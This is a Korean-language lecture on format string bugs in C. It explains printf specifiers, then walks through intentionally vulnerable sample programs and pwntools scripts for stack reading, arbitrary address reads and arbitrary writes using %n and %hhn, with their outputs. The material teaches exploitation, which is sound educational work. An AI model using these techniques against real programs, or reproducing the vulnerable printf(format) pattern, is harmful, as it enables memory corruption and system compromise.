들어가며
1. 서론
printf("Hello World")라는 예제를 작성하면서 많은 분이 C 언어에 첫발을 내딛는다.- C 언어에는
write,puts,printf등 문자열을 출력하는 다양한 함수가 있는데, 그중에서printf는 포맷 스트링(Format String)을 이용하여 다양한 형태로 값을 출력할 수 있다는 특징이 있다.
- C 언어에는
1.1 포맷 스트링을 사용하는 함수들
- C언어에는
printf외에도 포맷 스트링을 인자로 사용하는 함수들이 많다. 대표적으로 다음과 같은 함수들이 있다.scanffprintffscanfsprintfsscanf
- 함수의 이름이 “f(formatted)”로 끝나고, 문자열을 다루는 함수라면 포맷 스트링을 처리할 것으로 추측해볼 수 있다.
1.2 취약점의 원리
- 이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.
주의: 그런데 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는
루틴이 없다.
- 그래서 만약 사용자가 직접 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.
- 심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.
1.3 포맷 스트링 버그 (FSB)
- 포맷 스트링 함수를 잘못 사용하여 발생하는 위와 같은 버그를 포맷 스트링 버그(Format String Bug, FSB)라고 부른다
- 1989년: 이 버그가 처음 언급됐을 때는 위험도가 낮게 평가되었다.
- 1999년: 이 버그를 이용한 익스플로잇이 공개되면서 굉장히 위험한 버그로 재평가되었다.
- 이번 강의에서는 이 버그에 대해 자세히 알아볼 것이다.
포맷 스트링
1. 포맷 스트링
- 포맷 스트링은 다음과 같이 구성된다.
- 이 중에서 FSB를 공격하는 데에 중요한 요소 네 가지에 대해서 살펴볼 것이다.
- 그 외의 요소나 강의에서 설명하지 않은 부분에 대해서 더 자세히 알고 싶다면 cplusplus의 printf 페이지를 읽어보는 것을 추천한다.
%[parameter][flags][width][.precision][length][specifier]
1.1 Specifier
- 형식 지정자(specifier)는 인자를 어떻게 사용할지 지정한다.
| 형식 지정자 | 설명 |
|---|---|
| d | 부호 있는 10진수 정수이다. |
| u | 부호 없는 10진수 정수이다. |
| s | 문자열이다. |
| x | 부호 없는 16진수 정수이다. |
| n | 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이를 저장한다. |
| 값을 출력하지 않는 것이다. | |
| p | void형 포인터이다. |
- 다음 예시를 보며
%n을 제외한 일반적인 형식 지정자가 어떻게 사용되는지 확인해본다.&num은 스택의 주소를 나타내므로 여러분들이 직접 컴파일해서 실행하면 실행할 때마다 다른 값이 나올 것이다.
// Name: fs.c
// Compile: gcc -o fs fs.c
#include <stdio.h>
int main() {
int num;
printf("%d\n", 123); // "123"
printf("%s\n", "Hello, world"); // "Hello, world"
printf("%x\n", 0xdeadbeef); // "deadbeef"
printf("%p\n", &num); // "0x7ffe6d1cb2c4"
return 0;
}
1.2 Width
- 최소 너비를 지정한다.
- 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(
' ')를 문자열 앞에 패딩해주는 것이다.
- 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(
| 너비 지정자 | 설명 |
|---|---|
| 정수 | 정수의 값만큼을 최소 너비로 지정한다. |
| * | 인자를 두 개 사용한다. 첫 인자의 값만큼을 최소 너비로 지정해 두 번째 인자를 출력하는 것이다. |
- 다음 예시를 살펴보며 너비 지정자를 어떻게 사용하는지 이해해본다.
// Name: fs_width.c
// Compile: gcc -o fs_width fs_width.c
#include <stdio.h>
int main() {
int num;
printf("%8d\n", 123); // " 123"
printf("%s%n: hi\n", "Alice", &num); // "Alice: hi", num = 5
printf("%*s: hello\n", num, "Bob"); // " Bob: hello "
return 0;
}
“%n”의 쓰임
포맷스트링의 인자가 문자열로 변환될 때 그 길이를 예측할 수 없기 때문에, 코드를 작성하는 시점에는 포맷 스트링이 출력될 때의 길이를 알 수 없다. 만약 프로그래머가 포맷 스트링이 출력되는 도중에 몇 글자나 출력되었는지를 코드에 사용해야 한다면,
%n을 사용하여 이런 문제를 해결할 수 있다.위의 예시 코드의
printf("%s%n: hi\n", "Alice", &num);에서는%n의 직전까지"Alice"총 5글자가 출력되었기 때문에,%n의 대상인num에 5가 담기게 된다. 그 다음printf문에서는%*s의 길이 인자로num을 사용하기 때문에, 문자열"Bob"은num의 값인 5에 맞춰서 앞에 공백 문자 2개가 추가되어 출력되는 것이다.만약
"Alice"대신 더 긴 문자열을 사용하더라도num에는 그 길이가 담길 것이고,"Bob"은num값을 통해 해당 문자열의 길이에 맞춰 출력될 것이다.
1.3 Length
- 출력하고자 하는 변수의 크기를 지정하며, d, n 등의 형식 지정자 앞에 쓰인다.
- 정수 값을 출력하고 싶으나 변수가 int 형이 아닌 경우에 주로 사용하는 것이다.
| 길이 지정자 | 설명 |
|---|---|
| hh | 해당 인자가 char 크기임을 나타낸다. |
| h | 해당 인자가 short int 크기임을 나타낸다. |
| l | 해당 인자가 long int 크기임을 나타낸다. |
| ll | 해당 인자가 long long int 크기임을 나타낸다. |
- 만약 char 형을 정수 형태로 출력하고 싶다면
%hhd를 사용하면 된다.- 다음 코드는 각 변수형에 올바른 길이 지정자를 사용해 출력하는 예시이다.
// Name: fs_length.c
// Compile: gcc -o fs_length fs_length.c
#include <stdio.h>
int main() {
char a = 0x12;
short b = 0x1234;
long c = 0x12345678;
long long d = 0x12345678abcdef01;
printf("%hhd\n", a); // "18"
printf("%hd\n", b); // "4660"
printf("%ld\n", c); // "305419896"
printf("%lld\n", d); // "1311768467750121217"
return 0;
}
1.4 Parameter
- 참조할 인자의 인덱스를 지정한다.
- 이 필드는
%[파라미터 값]$d와 같이 값 뒤에$문자를 붙여 표기하는 것이다. - 일반적인 경우 파라미터 값을 지정하지 않고 사용해 들어온 인자의 순서대로 사용하게 되지만, 파라미터 값을 사용하면 특정 인덱스의 인자를 사용하는 것이 가능하다.
- 이 필드는
- 여기서 중요한 부분은 파라미터 값이 전달된 인자의 갯수의 범위 내인지 확인하지 않는다는 것이다.
- 예를 들어, 인자가 2개가 들어오더라도
%3$d와 같이 파라미터 값으로 3을 사용하는 것이 가능하며, 이를 활용한 공격은 다음 페이지에서 확인해볼 수 있다.
- 예를 들어, 인자가 2개가 들어오더라도
- 아래 예시는 파라미터를 사용해 서로 다른 위치의 인자를 참조해 출력하는 것이다.
// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() {
int num;
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
return 0;
}
포맷 스트링 버그 - Read
1. 포맷 스트링 버그 (FSB)
- 포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 이른다.
- 포맷 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
2. 포맷 스트링 버그 - Read
2.1 레지스터 및 스택 읽기
- 다음 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 예제 코드이다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
- 코드를 컴파일한 후 다음과 같이
%p/%p/%p/%p/%p/%p/%p/%p를 입력해본다.
$ ./fsb_stack_read
Format: %p/%p/%p/%p/%p/%p/%p/%p
0xa/(nil)/0x7f4dad0bbaa0/(nil)/0x55f04ffdc6b0/0x7025207025207025/0x2520702520702520/0x2070252070252070
printf함수에 전달한 인자가 없는데도 어떤 값들이 출력되었다.- 사실 이는 x86-64의 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10]이 출력된 것이다.
- 이는
printf함수가 인자 개수를 확인하지 않아 생기는 현상으로, 실제로는 인자가 넘어오지 않았음에도 호출 규약에 따라 인자를 참조하기 때문에 발생하는 것이다.
- 그러므로 이를 사용해 레지스터 일부와 스택 값을 읽어오는 것이 가능하다.
2.2 임의 주소 읽기
-
앞선 레지스터 및 스택 읽기 파트에서 주목할 점은 스택 상의 값을 사용할 수 있다는 것이다.
- 스택에 어떤 메모리의 주소값이 적혀있다면, 해당 주소에 적혀있는 값을 파라미터 값을 활용해 읽어올 수 있다.
-
다음 예시를 살펴본다.
// Name: fsb_aar_example.c // Compile: gcc -o fsb_aar_example fsb_aar_example.c #include <stdio.h> char *secret = "THIS IS SECRET"; int main() { char *addr = secret; char format[0x100]; printf("Format: "); scanf("%s", format); printf(format); return 0; } -
코드를 컴파일 한 뒤
main함수를 디스어셈블 해보면,addr이rsp + 8위치에,format이rsp + 0x10위치에 있는 것을 확인할 수 있다.Dump of assembler code for function main: 0x0000000000001189 <+0>: endbr64 0x000000000000118d <+4>: push rbp 0x000000000000118e <+5>: mov rbp,rsp 0x0000000000001191 <+8>: sub rsp,0x120 0x0000000000001198 <+15>: mov rax,QWORD PTR fs:0x28 0x00000000000011a1 <+24>: mov QWORD PTR [rbp-0x8],rax 0x00000000000011a5 <+28>: xor eax,eax 0x00000000000011a7 <+30>: mov rax,QWORD PTR [rip+0x2e62] # 0x4010 <secret> 0x00000000000011ae <+37>: mov QWORD PTR [rbp-0x118],rax 0x00000000000011b5 <+44>: lea rax,[rip+0xe57] # 0x2013 0x00000000000011bc <+51>: mov rdi,rax 0x00000000000011bf <+54>: mov eax,0x0 0x00000000000011c4 <+59>: call 0x1080 <printf@plt> 0x00000000000011c9 <+64>: lea rax,[rbp-0x110] 0x00000000000011d0 <+71>: mov rsi,rax 0x00000000000011d3 <+74>: lea rax,[rip+0xe42] # 0x201c 0x00000000000011da <+81>: mov rdi,rax 0x00000000000011dd <+84>: mov eax,0x0 0x00000000000011e2 <+89>: call 0x1090 <__isoc99_scanf@plt> 0x00000000000011e7 <+94>: lea rax,[rbp-0x110] 0x00000000000011ee <+101>: mov rdi,rax 0x00000000000011f1 <+104>: mov eax,0x0 0x00000000000011f6 <+109>: call 0x1080 <printf@plt> ... -
printf(format)을 호출하는 시점에서의rsp값을 바탕으로 7번째 인자가[rsp + 8]을 나타내므로,%7$s를 사용하면secret위치에 적힌 문자열을 출력시킬 수 있다.
Format: %7$s
THIS IS SECRET
-
이를 응용하면 포맷 스트링을 담는 버퍼에 참조하고 싶은 주소를 같이 넣고, 파라미터 값을 활용해 해당 주소에 적힌 값을 읽을 수 있다.
-
다음 코드는 앞선 코드에서 약간 변형해,
secret주소 값을 알고 있는 상태에서secret위치의 값을 출력하는 것이 목표이다.// Name: fsb_aar.c // Compile: gcc -o fsb_aar fsb_aar.c #include <stdio.h> const char *secret = "THIS IS SECRET"; int main() { char format[0x100]; printf("Address of `secret`: %p\n", secret); printf("Format: "); scanf("%s", format); printf(format); return 0; } -
main함수의format버퍼는rsp에 위치하므로,%7$s를 사용하면format + 8위치에 적혀있는 8바이트 값을 주소로 삼아 그 위치에 적힌 값을 문자열로 출력할 것이다. -
그러므로 다음과 같이 파이썬 코드를 작성해볼 수 있다.
#!/usr/bin/python3 # Name: fsb_aar.py from pwn import * p = process("./fsb_aar") p.recvuntil(b"`secret`: ") addr_secret = int(p.recvline()[:-1], 16) fstring = b"%7$saaaa" # Length: 8 fstring += p64(addr_secret) p.sendline(fstring) p.interactive() -
이를 실행하면 다음과 같이
secret위치의 값을 문자열 형태로 출력하는 것을 확인할 수 있다.$ python3 fsb_aar.py [+] Starting local process './fsb_aar': pid 727 [*] Switching to interactive mode [*] Process './fsb_aar' stopped with exit code 0 (pid 727) Format: THIS IS SECRETaaaa\x04\xc0\x9[*] Got EOF while reading in interactive
포맷 스트링 버그 - Write
1. 임의 주소 쓰기
-
임의 주소 읽기에서와 마찬가지로 포맷 스트링에 임의의 주소를 넣고,
%[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다. -
다음 코드를 살펴보고,
secret값을 31337로 만드는 방법을 생각해본다.// Name: fsb_aaw.c // Compile: gcc -o fsb_aaw fsb_aaw.c #include <stdio.h> int secret; int main() { char format[0x100]; printf("Address of `secret`: %p\n", &secret); printf("Format: "); scanf("%s", format); printf(format); printf("Secret: %d", secret); return 0; } -
secret주소를 버퍼에 담은 뒤,%[n]$n을 통해서secret에 값을 쓴다고 했을 때 그 직전까지 31337 글자를 출력하면 된다.- 이 때 width를 활용해
%31337c와 같은 포맷 스트링을 사용해볼 수 있다.
- 이 때 width를 활용해
-
그러므로 다음과 같이 파이썬 코드를 작성해볼 수 있다.
#!/usr/bin/python3 # Name: fsb_aaw.py from pwn import * p = process("./fsb_aaw") p.recvuntil(b"`secret`: ") addr_secret = int(p.recvline()[:-1], 16) fstring = b"%31337c%8$n".ljust(16, b'a') fstring += p64(addr_secret) p.sendline(fstring) print(p.recvall())$ python3 ./fsb_aaw.py [+] Starting local process './fsb_aaw': pid 405241 [+] Receiving all data: Done (30.63KB) [*] Process './fsb_aaw' stopped with exit code 0 (pid 405241) b'Format: ... \naaaaa\x14\x80\x83\xba(VSecret: 31337' -
단,
%n을 사용해서 값을 넣는 경우 지금까지 출력된 글자의 수를 넣기 때문에 지나치게 큰 값은 쓸 수 없다.- 이 경우
n앞에h와hh를 붙여 2바이트, 1바이트씩 쓰는 것이 가능하다.
- 이 경우
-
이 사실을 사용해서 0xdeadbeef를 써보도록 하겠다. 이 때
%n은 지금까지 출력된 글자 수를 사용하기 때문에 각 바이트를%hhn을 통해서 넣을 때 오름차순 순서대로 쓰는 것이 중요하다.- 0xdeadbeef의 경우, 0xad → 0xbe → 0xde → 0xef 순으로 한 바이트씩 작성하면 된다.
#!/usr/bin/python3
# Name: fsb_aaw_deadbeef.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
fstring = fstring.ljust(64, b'a')
fstring += p64(addr_secret) # %14$n
fstring += p64(addr_secret + 1) # %15$n
fstring += p64(addr_secret + 2) # %16$n
fstring += p64(addr_secret + 3) # %17$n
p.sendline(fstring)
print(p.recvall())
$ python3 ./fsb_aaw_deadbeef.py
[+] Starting local process './fsb_aaw': pid 453912
[+] Receiving all data: Done (290B)
[*] Process './fsb_aaw' stopped with exit code 0 (pid 453912)
b'Format:
\x00 \xa0 \x00aaaaaaaaaaaaaaaaaaa\x14\x10+\x1dKVSecret: -559038737'
- 실행 결과의
-559038737는 16진수로0xdeadbeef이므로, 정상적으로 입력된 것을 확인할 수 있다.
포맷 스트링 버그 - Read Lab
1. Q1

포맷 스트링 버그 - Write Lab
1. Q1

2. Q2

마치며
1. 마치며
- 이번 강의에서 배운 포맷 스트링 버그는 쉽게 발견되는 버그는 아니다.
- 현대의 컴파일러는 코드에서 이 취약점을 탐지하여 컴파일 시점에 경고해주고 있으며, 포맷 스트링 버그가 발생하는 코드 패턴도 개발자들에게 널리 알려져 있다.
- 그러나 강의에서 배웠듯, 이를 발견하면 강력한 공격 수단으로 활용할 수 있으므로 알아둘 필요는 있다.
- 다음 강의에서는 포맷 스트링 버그를 활용하여, 예제에서 셸을 획득하는 실습을 해보겠다. 🚩
2. 키워드
- 포맷 스트링(Format String):
printf를 비롯한 포맷 스트링 함수들이 파싱하여 처리하는 문자열이다.
- 포맷 스트링 버그(Format String Bug, FSB):
- 프로그래머가 포맷 스트링 함수를 잘못 사용하여 발생하는 버그이다. 공격자에 의해 스택 읽기, 임의 주소 쓰기, 임의 주소 읽기에 사용될 수 있다.
- 형식 지정자(Format Specifier):
- 포맷 스트링에 대입되는 인자의 형식을 지정한다.
%d,%x,%u,%s,%n등이 있다.
- 포맷 스트링에 대입되는 인자의 형식을 지정한다.